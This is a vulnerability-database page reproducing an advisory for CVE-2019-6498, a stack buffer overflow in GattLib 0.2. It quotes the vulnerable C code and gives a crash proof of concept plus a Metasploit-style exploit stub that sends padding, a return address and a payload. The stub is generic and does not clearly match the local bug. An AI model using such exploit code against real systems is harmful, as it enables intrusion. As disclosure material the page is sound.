Lucene search
K

GattLib 0.2 Stack Buffer Overflow

🗓️ 21 Jan 2019 00:00:00Reported by Mishra DhirajType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 84 Views

Stack-based buffer overflow in gattlib 0.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GattLib 0.2 - Stack Buffer Overflow Exploit
21 Jan 201900:00
zdt
Circl
CVE-2019-6498
22 Jan 201903:19
circl
CVE
CVE-2019-6498
21 Jan 201906:00
cve
Cvelist
CVE-2019-6498
21 Jan 201906:00
cvelist
Exploit DB
GattLib 0.2 - Stack Buffer Overflow
21 Jan 201900:00
exploitdb
exploitpack
GattLib 0.2 - Stack Buffer Overflow
21 Jan 201900:00
exploitpack
NVD
CVE-2019-6498
21 Jan 201906:29
nvd
Prion
Stack overflow
21 Jan 201906:29
prion
PyPA
PYSEC-2019-250
21 Jan 201906:29
pypa
`# Exploit Title: stack-based overflow  
# Date: 2019-11-21  
# Exploit Author: Dhiraj Mishra  
# Vendor Homepage: http://labapart.com/  
# Software Link: https://github.com/labapart/gattlib/issues/81  
# Version: 0.2  
# Tested on: Linux 4.15.0-38-generic  
# CVE: CVE-2019-6498  
# References:  
# https://github.com/labapart/gattlib/issues/81  
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6498  
  
## Summary:  
While fuzzing gattlib (Gattlib is a library to access GATT information from  
BLE (Bluetooth Low Energy) devices) using clang 6.0 with ASAN a stack-based  
buffer-overflow was observed.  
  
## Vulnerable code from gattlib.c  
// Transform string from 'DA:94:40:95:E0:87' to 'dev_DA_94_40_95_E0_87'  
strncpy(device_address_str, dst, sizeof(device_address_str));  
for (i = 0; i < strlen(device_address_str); i++) {  
if (device_address_str[i] == ':') {  
device_address_str[i] = '_';  
}  
}  
  
## Vulnerable code from discover.c  
if (argc != 2) {  
printf("%s <device_address>\n", argv[0]);  
return 1;  
}  
  
connection = gattlib_connect(NULL, argv[1], BDADDR_LE_PUBLIC, BT_SEC_LOW,  
0, 0);  
if (connection == NULL) {  
fprintf(stderr, "Fail to connect to the bluetooth device.\n");  
return 1;  
}  
  
## PoC  
  
./discover `python -c 'print "A"*20'`  
  
## MSF code  
  
def exploit  
connect  
  
print_status("Sending #{payload.encoded.length} byte payload...")  
  
# Building the buffer for transmission  
buf = "A" * 20  
buf += [ target.ret ].pack('V')  
buf += payload.encoded  
  
sock.put(buf)  
sock.get  
  
handler  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jan 2019 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.05961
84